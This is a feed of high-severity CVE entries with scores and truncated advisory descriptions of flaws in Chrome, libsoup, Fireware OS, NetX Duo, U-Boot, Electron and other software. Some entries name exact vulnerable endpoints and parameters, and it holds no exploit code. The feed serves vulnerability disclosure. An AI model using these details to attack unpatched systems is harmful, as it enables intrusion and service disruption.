CVE-2026-95509	New	8.8	HIGH				Strings optimized for Latin-1 displaying Latin-1 characters cause incorrect String.arg() formatting by an incorrect buffer size calculation, causing out-of-bounds reading.
CVE-2015-20122	New	8.7	HIGH				Seeyon A6 collaborative office automation platform contains an unauthenticated SQL injection vulnerability in the attach_ids parameter of the file attachment download endpoint that allows remote attackers to extract arbitrary database contents without prior authentication. Attackers can inject UNION-based SQL statements through the attach_ids request parameter in downloadAtt...
CVE-2022-51019	New	8.7	HIGH				Akaunting before 2.1.31 contains an OS command injection vulnerability in the module installation and update flow where the alias parameter is passed unvalidated to shell command execution. Authenticated users with admin panel access can inject shell metacharacters into the alias parameter to execute arbitrary commands on the server.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100292	New	8.7	HIGH				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, a hidden debug interface can be enabled through an authenticated request, allowing additional commands to be sent to a backend service. Once active, this pathway can unintentionally expose system■level functionality that could be misused if crafted inputs reach the underlying command handler.
CVE-2026-100293	New	8.7	HIGH				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, both the local and cloud update mechanisms apply new firmware without any cryptographic verification, relying only on basic hashing. This design allows an attacker who can reach the update routine to introduce untrusted firmware images that the device will accept as valid.
CVE-2026-100294	New	8.7	HIGH				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, the firmware embeds hardcoded cloud■API credentials that are shared across deployed devices. Anyone obtaining the public firmware package can reuse these values to interact with the cloud service in ways not intended for normal operation.
CVE-2026-100298	New	8.7	HIGH				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, two user■information endpoints can reveal sensitive device and account details under conditions that are not intended for normal operation.
CVE-2026-101169	New	8.7	HIGH		0.003		In affected versions of Octopus Server, an authenticated user with permissions to edit an Environment or Project can set specifically crafted JSON content for the object. Insecure deserialization of this content allows the user to execute arbitrary code in the Octopus Server process.
CVE-2026-102634	New	8.7	HIGH				SGLang through 0.5.20 in prefill/decode disaggregation mode fails to validate duplicate bootstrap_room fields in /generate requests with Mooncake KV transfer backend. Unauthenticated attackers can send concurrent requests with identical bootstrap_room values to crash scheduler processes or hang other users' requests until transfer timeout.
CVE-2026-102716	New	8.7	HIGH				An unauthenticated client can drain the RTSP server's packet pool with a couple of dozen requests that carry a Session header the parser cannot convert. The Session branch returns the raw NetX error code instead of an RTSP status code: ``c /* addons/rtsp/nx_rtsp_server.c:2754 */ status = _nx_utility_string_to_uint(field_value_ptr, field_value_length, &session...
CVE-2026-102718	New	8.7	HIGH				hey, `_nx_snmp_utility_object_id_get` in the NetX Duo SNMP addon does not validate the claimed OID data length against the actual buffer size when the OID uses BER multibyte length encoding, so a remote attacker can send a crafted SNMP packet with a multibyte OID length larger than the available buffer, causing the parser to read past the packet buffer boundary into adjac...
CVE-2026-102810	New	8.7	HIGH				Marmite through 0.4.2 contains a path traversal vulnerability in the development server started by --serve that allows unauthenticated attackers to read arbitrary files. The handle_request function in src/server.rs fails to reject .. segments after percent-decoding and joining the request path to the output folder, enabling attackers to request encoded traversal sequences to...
CVE-2026-4034	New	8.7	HIGH				Injection Vulnerability in Tibco Administrator version 5.13.0 & prior allows an authenticated user to submit specially crafted input through the web-based administration console.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-68911	New	8.7	HIGH				Nicotine+ is a graphical client for the Soulseek peer-to-peer network. Prior to version 3.3.11, a modified remote client can send zlib-compressed peer messages containing a decompression bomb, exhausting available memory of the recipient's operating system. This issue has been patched in version 3.3.11.
CVE-2026-81433	New	8.7	HIGH				A stack-based buffer overflow vulnerability in WatchGuard Fireware OS's DHCP fingerprinting daemon (fingerd) allows an unauthenticated attacker with adjacent network access to execute arbitrary code or crash the process by sending a specially crafted DHCP packet.
CVE-2026-84739	New	8.7	HIGH		0.004		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary JavaScript in the context of another user's browser session due to improper sanitization of path components in the merge request diff viewer.
CVE-2026-86104	New	8.7	HIGH				An uncontrolled resource consumption vulnerability in the Fireware OS login process (wgagent) allows a remote, unauthenticated attacker to cause a denial of service by sending a specially crafted request.
CVE-2026-86134	New	8.7	HIGH				A NULL pointer dereference vulnerability in the WatchGuard Fireware OS authentication process allows a remote, unauthenticated attacker to crash the management daemon by sending a specially request to the login interface, resulting in a denial of service.
CVE-2026-94204	New	8.7	HIGH				The central cloud storage backend for the entire dashcam platform is misconfigured with public-read permissions, allowing unrestricted access to all stored objects. Because this bucket serves as shared storage for the platform, sensitive user records, live dashcam footage, application packages, and firmware files are exposed to anyone on the internet.
CVE-2026-96430	New	8.7	HIGH		0.002		Exposed Dangerous Method or Function in the /WebAgenda/SQLWin.do API endpoint of Flowring Agentflow 4.0 version Before 2026/08/28 allows remote authenticated users to execute arbitrary SQL commands via the sql parameter.
CVE-2026-101127	New	8.6	HIGH				Joomla Extension - balbooa.com - Unauthenticated upload filename stored XSS in Balbooa Forms < 2.4.3.4 - The public form upload endpoint validates the uploaded file's extension and detected MIME type, but stores the attacker-supplied original multipart filename verbatim in `#__baforms_submissions_attachments.name`. A later anonymous form submission associates that temporary ...
CVE-2026-102242	New	8.6	HIGH				Improper link resolution (CWE-59 / CWE-22) in the allowedLocalRoots path validation in Google MCP Toolbox for Databases versions 1.2.0 through 1.9.0 allows a remote authenticated attacker with tool execution permissions to bypass directory boundary restrictions via symbolic links. Because path validation checks directories lexically without resolving symbolic links first, an...
CVE-2026-102317	New	8.6	HIGH				Improper privilege management in Mojo in Google Chrome on on Windows prior to 154.0.8037.92 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102360	New	8.6	HIGH				A missing bounds check in the binary decoder in lib0, versions 0.2.1-0.2.117 and earlier and 1.0.0-rc.32 and earlier, lets any unauthenticated remote peer read adjacent process memory and receive it back. `readUInt8Array` never compares the wire-supplied length against the decoder's own view, so one over-long length prefix returns whatever the host process allocated next: ot...
CVE-2026-102521	New	8.6	HIGH				The decoder in `readFromDataView` in lib0 before 0.2.119 can be tricked into reading more than it should from a buffer. The vulnerability allows reading past the decoders' view, thus exposing adjacent process memory. This can be anything that is currently in the head, for example credentials or logs. This is similar to but different from GHSA-r5c8-rf4w-qrq8.
CVE-2026-102556	New	8.6	HIGH				A flaw was found in libsoup. When handling an incoming WebSocket Pong frame, SoupWebSocketConnection emitted the ::pong signal with a GByteArray pointer even though the signal is declared to pass a GBytes. Applications connecting a handler that follows the documented GBytes API can trigger heap corruption or a crash upon receiving a crafted Pong.
CVE-2026-102557	New	8.6	HIGH				A flaw was found in libsoup. When reassembling fragmented WebSocket messages into a GByteArray, libsoup did not adequately cap total message size against the limits of the underlying buffer type. A remote peer could send fragments that caused size truncation while the implementation still used the full length, leading to heap corruption or a crash.
CVE-2026-102558	New	8.6	HIGH				A flaw was found in libsoup. When max-incoming-payload-size is unlimited (0), SoupWebSocketConnection could grow its incoming GByteArray based on an attacker-controlled frame length until the length wrapped, causing a heap buffer overflow while reading frame data.
CVE-2026-102559	New	8.6	HIGH				A flaw was found in libsoup. When constructing a masked WebSocket client frame for a very large outgoing payload, size values passed to GByteArray allocation APIs could be truncated while the masking routine still used the full length, causing a heap buffer overflow.
CVE-2026-102560	New	8.6	HIGH				A flaw was found in libsoup. When the permessage-deflate WebSocket extension compresses a very large outgoing message, truncated size calculations used for GByteArray growth could wrap, causing zlib to write past the allocated buffer and resulting in a heap buffer overflow.
CVE-2026-102730	New	8.6	HIGH				Mounting an attacker-controlled NAND flash image (`lx_nand_flash_open()`) triggers an unbounded out-of-bounds heap **write** in LevelIX's NAND flash-translation-layer metadata parser that overwrites a driver function pointer in the control block, giving a demonstrated control-flow hijack — RIP set to a full 8-byte attacker-chosen value (register-verified). Two accompanying OO...
CVE-2026-102878	New	8.6	HIGH				mcp-chrome-bridge through 1.0.31 contains an origin validation error in the native-server HTTP API that allows attackers to bypass CORS restrictions. Attackers can craft malicious web pages that make cross-origin requests to the local server and invoke browser automation tools including script execution, page content reading, and screenshot capture.
CVE-2026-103101	New	8.6	HIGH				Pexip Infinity 30.0 through 40.x before 41.0 is affected by improper input validation in the web server that allows a malicious attacker to render a Pexip Infinity node inaccessible.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-103102	New	8.6	HIGH				Pexip Infinity before 41.0 is affected by improper input validation in the signaling implementation which allows a remote attacker to trigger a software abort resulting in a denial of service. Exploitation of this issue requires accessing a gateway call from a WebRTC/API client.
CVE-2026-18145	New	8.6	HIGH				A stack-based buffer overflow vulnerability in the spamBlocker (spamd) service of WatchGuard Fireware OS allows an authenticated attacker with administrator privileges to crash the service or potentially execute arbitrary code by sending a specially crafted management request.
CVE-2026-7193	New	8.6	HIGH				A vulnerability relating to the use of predefined credentials in the Dbit T-CPE301K 4G WiFi mini-router allows an attacker connected to the same network to gain full root access to the device via the Telnet service (port 23) using static credentials.
CVE-2026-102697	New	8.5	HIGH				Ollama versions 0.14.0 before 0.31.2 contain an incorrect authorization vulnerability in the experimental agent mode Bash tool approval mechanism that fails to properly parse shell syntax. Attackers who can influence model output through prompt injection can execute additional shell commands by appending control operators like semicolons or logical operators to approved comm...
CVE-2026-102757	New	8.5	HIGH				An unprivileged, memory-protected ThreadX module can have the kernel read and write memory at addresses of its choosing, in privileged mode, and can use that to clear the MPU enable bit and remove its own isolation boundary. The Module Manager decided whether a privileged service could dereference an object address a module named by asking only whether that address fell o...
CVE-2026-63713	New	8.5	HIGH				The "search" parameter in the view audit logs feature within the utilities section is susceptible to a time-based blind SQL injection vulnerability.
CVE-2026-68068	New	8.5	HIGH				The "screenID" parameter in the electronic transaction queue viewer feature within the manual transactions section is susceptible to a time-based blind SQL injection vulnerability.
CVE-2026-68954	New	8.5	HIGH				The "pattern" parameter used in search function in the home page of the TMS application is vulnerable to time-based blind SQL injection vulnerability.
CVE-2026-72507	New	8.5	HIGH				The "reportType" parameter in the product summary report feature within the balancing reports section is susceptible to a time-based blind SQL injection vulnerability.
CVE-2026-72510	New	8.5	HIGH				The "supplier_no" parameter used in the business allocation search feature is vulnerable to time-based blind SQL injection.
CVE-2026-7395	New	8.5	HIGH		0.004		Asset Suite allows unauthenticated users to access HTTPPublishAdapterTestServlet that can be used for configuration file upload, leading to information disclosure and integrity compromise. The HTTPPublishAdapterTestServlet is specifically meant for testing purposes to be used in a non-production environment.
CVE-2026-86035	New	8.5	HIGH				Weblate is a web-based continuous localization platform used to manage software translations. Weblate 4.11.1 through 2026.7.1 contains an argument-injection vulnerability in its Mercurial backend. Repository filenames beginning with - could be interpreted as Mercurial options instead of literal paths. An authenticated user with project-scoped component.edit permission could ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100308	New	8.4	HIGH				Deserialization of untrusted data in the model loading component in Amazon GlueonTS before 0.17.0 might allow context-dependent attackers to execute arbitrary operating system commands with the privileges of the loading process via a crafted serialized model directory. To remediate this issue, users should upgrade to version 0.17.0 or later.
CVE-2026-102709	New	8.4	HIGH				Improper validation of non-secure (NS) pointers in multiple TrustZone-M non-secure callable (NSC) entry functions allows an attacker executing in the non-secure world to supply pointers to secure memory. The secure firmware subsequently dereferences these attacker-controlled pointers without verifying that they reference non-secure memory, resulting in unintended disclosure ...
CVE-2026-102301	New	8.3	HIGH				Out of bounds write in GPU in Google Chrome prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102324	New	8.3	HIGH				Use after free in PictureInPicture in Google Chrome prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102676	New	8.3	HIGH			npm:electron	Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 41.10.6, 42.9.2, 43.4.1, and 44.0.0-beta.5, an Electron <webview> guest could enable nodeIntegrationInWorker for its Web Workers even when the unsandboxed embedder had Node.js integration disabled, allowing untrusted guest content to create a Node-enabled worker w...
CVE-2026-102760	New	8.3	HIGH				When NetX Secure is built with `NX_SECURE_KEY_CLEAR`, every TLS record sent on an active session is wiped after it has been handed to TCP. By then the TCP layer owns the packet chain and may already have released it to the packet pool. The wipe therefore writes zeros into packets that are free or in use by another thread, and when a reused packet's pointers no longer describ...
CVE-2026-95274	New	8.3	HIGH				Improper output encoding in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95276	New	8.3	HIGH				Improper input validation in Themes in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code inside the sandbox via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95319	New	8.3	HIGH				Use after free in Printing in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95322	New	8.3	HIGH				Out of bounds write in GPU in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95334	New	8.3	HIGH				Incorrect reference resolution in WebProtect in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95335	New	8.3	HIGH				Use after free in HID in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95341	New	8.3	HIGH				Improper input validation in Desktop in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95348	New	8.3	HIGH				Use after free in Bluetooth in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95351	New	8.3	HIGH				Use after free in Views in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95354	New	8.3	HIGH				Use after free in Verifier in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95355	New	8.3	HIGH				Incorrect authorization in Navigation in Google Chrome on on iOS prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95372	New	8.3	HIGH				Use after free in Chromecast in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95381	New	8.3	HIGH				Improper input validation in Printing in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-96274	New	8.3	HIGH				In Baicells Nova 430H, an unauthenticated device within radio range can send a malformed uplink message during connection setup that contains an invalid NAS payload. Because the eNodeB does not properly validate this payload, it forwards the message to the core network, which can trigger a shutdown of the signaling association for the cell. This results in a temporary servic...
CVE-2026-102555	New	8.2	HIGH				A flaw was found in libsoup. The soup_uri_decode_data_uri() function incorrectly treated base64 data-URI payloads as NUL-terminated strings when calling g_base64_decode_inplace(). If the percent-decoded payload contained embedded NUL bytes, the decoded length could remain uninitialized and be used as the size of the returned GBytes. This can lead to an out-of-bounds read or ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102673	New	8.2	HIGH			npm:electron	Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 41.10.4, 42.5.2, and 43.0.0, popups opened from a sandboxed iframe through Electron's OpenURLFromTab navigation path, including links using target="_blank" or a middle-click, did not receive the inherited HTML sandbox restrictions. An untrusted iframe using the al...
CVE-2026-102674	New	8.2	HIGH			npm:electron	Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 41.10.6, 42.9.2, 43.4.1, and 44.0.0-beta.5, windows opened from a sandboxed top-level document did not inherit that document's active HTML sandbox restrictions. Untrusted content in a sandboxed top-level document that was permitted to open popups could therefore c...
CVE-2026-102762	New	8.2	HIGH				The NetX Duo MQTT client leaks the packet carrying a malformed PUBLISH message. Each malformed PUBLISH costs one packet, or one chain of packets, from the network driver's receive pool, and nothing returns it. A peer that can deliver a few dozen such messages exhausts the pool and stops all inbound network traffic on the device until it is rebooted.
CVE-2026-13224	New	8.2	HIGH				A path traversal vulnerability in the Fireware OS WebUI management agent allows an authenticated administrator to read or list arbitrary files on the local filesystem by sending a specially crafted management request.
CVE-2026-71971	New	8.2	HIGH				U-Boot before 2026.10-rc3 with CONFIG_IP_DEFRAG enabled contains an out-of-bounds write vulnerability in the __net_defragment() function in net/net.c. Remote attackers can send a crafted IP fragment with non-zero offset and More-Fragments flag set during netboot to corrupt adjacent memory and crash the bootloader.
CVE-2026-74220	New	8.2	HIGH				U-Boot before 2026.10-rc5 contains a buffer overflow in nfs_read_reply() function in net/nfs-common.c that allows attackers to corrupt memory by supplying crafted NFS READ reply lengths. A malicious NFS server can exploit signed integer handling to bypass length validation and write far past the destination buffer, crashing the bootloader or corrupting memory.
CVE-2026-74221	New	8.2	HIGH				U-Boot before 2026.10-rc5 contains a buffer overflow in nfs_readlink_reply() function in net/nfs-common.c when processing NFS server responses. A malicious NFS server can send crafted READLINK replies with negative or oversized symlink length values to corrupt memory and crash the bootloader.
CVE-2026-74222	New	8.2	HIGH				U-Boot before 2026.10-rc5 contains a use-after-free vulnerability in the httpc_rcv_cb() function within the lwIP wget implementation. When HTTP data storage fails, the callback frees the connection PCB but returns ERR_BUF instead of ERR_ABRT, causing the TCP input path to access released memory and crash the bootloader.
CVE-2026-76718	New	8.2	HIGH		0.002		A potential security vulnerability in HPE OneView can be exploited to allow remote session hijacking or other unauthorized actions.
CVE-2026-76719	New	8.2	HIGH				A security vulnerability in HPE OneView may be exploited remotely to perform session hijacking, data theft or other unauthorized actions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84782	New	8.2	HIGH				Issue summary: The DTLS retransmission logic does not correctly handle a handshake message write that is suspended part-way through. The retransmitted message can be read past the message buffer and the retransmission overwrites the internal state the suspended write needs to resume correctly. Impact summary: The retransmitted message can disclose a heap memory to the peer ...
CVE-2026-86128	New	8.2	HIGH				A NULL pointer dereference vulnerability in Fireware OS's NetFlow packet-processing feature allows a remote, unauthenticated attacker to cause a denial of service by sending a specially crafted IPv6 packet.
CVE-2026-86132	New	8.2	HIGH				An integer underflow vulnerability in the WatchGuard Fireware OS IKEv2 daemon (iked) allows a remote, unauthenticated attacker to crash the process by sending a specially crafted encrypted IKEv2 message negotiated with an AES-GCM cipher suite.
CVE-2026-86133	New	8.2	HIGH				An integer underflow vulnerability in the WatchGuard Fireware OS IKE daemon (iked) allows a remote attacker who has completed the initial IKEv2 handshake to crash the iked process by sending a specially crafted encrypted IKEv2 message, resulting in a denial of service.
CVE-2026-92227	New	8.2	HIGH				Joomla! Core - [20260914] - Core - MFA Authentication Bypass through rememberme cookies in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - The premature issuance of an rememberme cookie leads to a MFA bypass vulnerability.
CVE-2026-102826	New	8.1	HIGH				simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. Prior to 4.0.0, the default blockUnsafeOperationsPlugin does not completely reject configuration includes supplied through customArgs to git.clone(). The missing include.path classification permits Git to load an attacker-controlled co...
CVE-2026-102827	New	8.1	HIGH				simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. Prior to 4.0.0, the default blockUnsafeOperationsPlugin compares parsed option names with literal dangerous option spellings while Git accepts unambiguous long-option abbreviations. Attacker-influenced push arguments such as abbreviate...
CVE-2026-102831	New	8.1	HIGH				JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From JupyterLab 4.5.0 until 4.5.11 and 4.6.4, from Notebook 7.5.0 until 7.6.3, and from JupyterLite Core 0.7.0 until 0.8.4, the system clipboard cell-paste path accepts attacker-controlled cell JSON without clearing metadata.trusted. When useSystemC...
CVE-2026-102876	New	8.1	HIGH				SurrealDB before 3.3.0 contains an authorization bypass in HTTP session construction where check_auth() verifies credentials against Surreal-Auth-NS and Surreal-Auth-DB headers but constructs sessions using Surreal-NS and Surreal-DB headers without validating access permissions. Attackers can authenticate as a user from one tenant while selecting another tenant's namespace a...
CVE-2026-76726	New	8.1	HIGH				An authentication bypass vulnerability in the API endpoint of HPE Networking Instant ON could allow an unauthenticated remote attacker to bypass network access controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain unauthorized access to restricted networks.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84842	New	8.1	HIGH				IBM Guardium Data Protection 12.2 is vulnerable to path traversal and arbitrary file deletion in the Datasource REST component. An authenticated remote attacker could exploit this vulnerability to delete files and potentially cause denial of service or impact system integrity.
CVE-2026-95333	New	8.1	HIGH				Use after free in Metrics in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95387	New	8.1	HIGH		0.005		SPDY protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-95389	New	8.1	HIGH		0.004		SCTP protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-102437	New	7.8	HIGH				OS Command Injection in internal/gitcmd (git diff filter.clean/smudge invocation) in esengine DeepSeek-Reasonix (Reasonix Studio) allows a local attacker who controls repository content (.gitattributes + .git/config) to execute arbitrary commands via the desktop app's workspace-changes diff viewer.
CVE-2026-102566	New	7.8	HIGH				CTranslate2 before 4.8.1 contains a heap-based buffer overflow in the binary model loader that fails to validate payload length against allocated buffer size. Attackers can craft malicious model files with oversized payload lengths to write past heap allocation boundaries, causing crashes or arbitrary code execution.
CVE-2026-102677	New	7.8	HIGH			npm:electron	Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From 42.3.3 until 42.10.0, 43.5.0, and 44.0.0-beta.6, Electron's sandboxed preload code cache did not verify that a cached entry matched the preload it was served for. A compromised renderer could write attacker-controlled cache data and cause Electron to reuse it for a la...
CVE-2026-102875	New	7.8	HIGH				VLC media player before 3.0.24 contains a path traversal vulnerability in the skins2 ThemeLoader that fails to validate member names in .vlt skin archives. Attackers can craft malicious skin files with path traversal sequences to write arbitrary files with VLC user privileges, enabling code execution through Lua script injection.
CVE-2026-102925	New	7.8	HIGH				virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.13, the generated activate (bash and zsh) and activate.fish scripts place values already escaped by shlex.quote inside an additional quoted context. In the bash and zsh script, a crafted virtual environment path reaches __VIRTUAL_ENV__ when a relocated environment's recorded directory is ab...
CVE-2026-103106	New	7.8	HIGH				Pexip Infinity before 38.2, plus 39.0, 39.1, and 40.0, is affected by improper input validation within an internal Pexip Infinity service that allows an attacker with local access to escalate privileges to root. Exploitation requires an attacker to be able to run arbitrary code on a node by either achieving remote code execution via some other vulnerability or having adminis...
CVE-2026-19743	New	7.8	HIGH				Improper path validation in the local IPC service of TeamViewer Full Client and Host on Windows, Linux, and macOS prior to version 15.82 allows a local authenticated user with low privileges to perform arbitrary file writes with elevated privileges (NT AUTHORITY\SYSTEM \ root). By sending crafted IPC commands to the local service daemon, an attacker could manipulate file pat...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65102	New	7.8	HIGH				NVIDIA DeepStream contains a vulnerability where an attacker could cause an integer overflow by supplying crafted tensor dimensions in a YAML configuration file. A successful exploit of this vulnerability might lead to denial of service, information disclosure, data tampering.
CVE-2026-73598	New	7.8	HIGH				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVE-2026-84414	New	7.8	HIGH				IBM i 7.6, 7.5, 7.4, and 7.3 could allow a local authenticated attacker to change the ownership of arbitrary files due to improper validation of an attacker-controlled file path.
CVE-2026-92368	New	7.8	HIGH				TeamViewer Full Client and Host for Linux and macOS prior version 15.82 contain a heap-based buffer overflow vulnerability in the processing of .tvs session recording files. A size mismatch during decompression of recorded session data can result in out-of-bounds heap writes. By convincing a user to open a specially crafted session recording through the "Play or convert reco...
CVE-2026-95298	New	7.8	HIGH				Use after free in Browser in Google Chrome prior to 154.0.8037.57 allowed a local attacker to potentially execute arbitrary code outside the sandbox via UI Interaction. (Chromium security severity: High)
CVE-2026-95315	New	7.8	HIGH				Use after free in Aura in Google Chrome prior to 154.0.8037.57 allowed a local attacker to potentially execute arbitrary code outside the sandbox via UI Interaction. (Chromium security severity: High)
CVE-2026-102930	New	7.7	HIGH				virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, download_wheel() accepts pip and setuptools seed wheels fetched for periodic updates or the --download option without checking their bytes against an authoritative digest equivalent to the embedded wheels' BUNDLE_SHA256 verification. A compromised index, stale mirror, or intercepted TLS...
CVE-2026-103109	New	7.7	HIGH				Pexip Infinity before 38.2, plus 39.0, 39.1 and 40.0, is affected by improper input validation in the media implementation that allows a remote attacker to trigger memory corruption or a software abort resulting in a denial of service. A crafted media stream may result in a controlled abort during processing, and has the potential to achieve memory corruption.
CVE-2026-84409	New	7.7	HIGH				The device's update mechanism retrieves metadata for software updates over an unencrypted HTTP connection and stores portions of that metadata for later use. A management interface subsequently returns this stored value in a JSON response, and the web interface responsible for displaying update information inserts that value directly into the page as HTML. This behavior allo...
CVE-2026-86158	New	7.7	HIGH		0.001		Missing authentication in the local .NET backend (Fiddler.WebUi) of Progress Software Fiddler Everywhere 8.0.2 allows a local unauthenticated attacker to mint OAuth tokens and read the machine-in-the-middle root certificate through an unauthenticated localhost HTTP and SignalR RPC channel.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91191	New	7.7	HIGH				The device's update mechanism includes conditions that allow unauthorized software packages to be accepted as authentic. During the boot process, the stock done function disables signature verification in the OPKG configuration before restoring optional packages from a writable, unsigned feed. Separately, the publicly distributed SDK contains the production private key whose...
CVE-2026-103111	New	7.6	HIGH				PCRE2 before 10.49, when there is an attacker-controlled regular expression and certain JIT API usage, allows an out-of-bounds write with arbitrary data.
CVE-2026-97687	New	7.6	HIGH				urllib3 is an HTTP client library for Python. From 1.26.0 until 2.8.0, the proxy_ssl_context, proxy_assert_hostname, proxy_assert_fingerprint, ssl_context, cert_reqs, verify_mode, use_forwarding_for_https=True, and CERT_NONE configuration paths fail to remain separated because target-server TLS settings are incorrectly applied to the HTTPS proxy connection. The trigger is th...
CVE-2026-100805	New	7.5	HIGH				Race condition, use-after-free in the Audio/Video component. This vulnerability was fixed in Firefox 157.
CVE-2026-102253	New	7.5	HIGH				iperf3 versions prior to 3.22 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash-loop the server's UDP receive worker into an unrecoverable infinite loop by sending a single crafted control-channel parameter message followed by one 16-byte UDP datagram. Attackers can permanently pin the affected per-stream receive thread at appro...
CVE-2026-102327	New	7.5	HIGH				Incorrect authorization in WebView in Google Chrome on on Android prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-102495	New	7.5	HIGH				Apache XmlSchema doesn't limit how deeply schema imports and includes can be nested, so a malicious schema can make parsing recurse until the stack overflows. This causes a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue.
CVE-2026-102496	New	7.5	HIGH				Apache XmlSchema doesn't limit how deeply schema structures can be nested when it builds its schema model, so a malicious schema can make parsing recurse until the stack overflows. This causes a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue.
CVE-2026-102497	New	7.5	HIGH				The Apache XmlSchema walker (xmlschema-walker) doesn't detect cycles in type derivation, substitution groups, model groups or attribute groups. A malicious schema with such a cycle can make the walker recurse until the stack overflows, causing a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue.
CVE-2026-102600	New	7.5	HIGH				Socket.IO enables bidirectional and low-latency communication for every platform. Prior to 0.1.1, @socket.io/cluster-engine uses inherited object properties when looking up attacker-controlled session IDs in clustered deployments. Special property names such as __proto__ or constructor can resolve through the object prototype chain instead of identifying an actual connected ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102811	New	7.5	HIGH				Marmite through 0.4.2 contains missing authentication in the development server endpoints /__marmite__/content, /__marmite__/config, and /__marmite__/file/, allowing unauthenticated attackers to create, modify, and overwrite site content and configuration. Attackers can exploit unsanitized path parameters in handle_create_content and handle_clone_content to write files outsi...
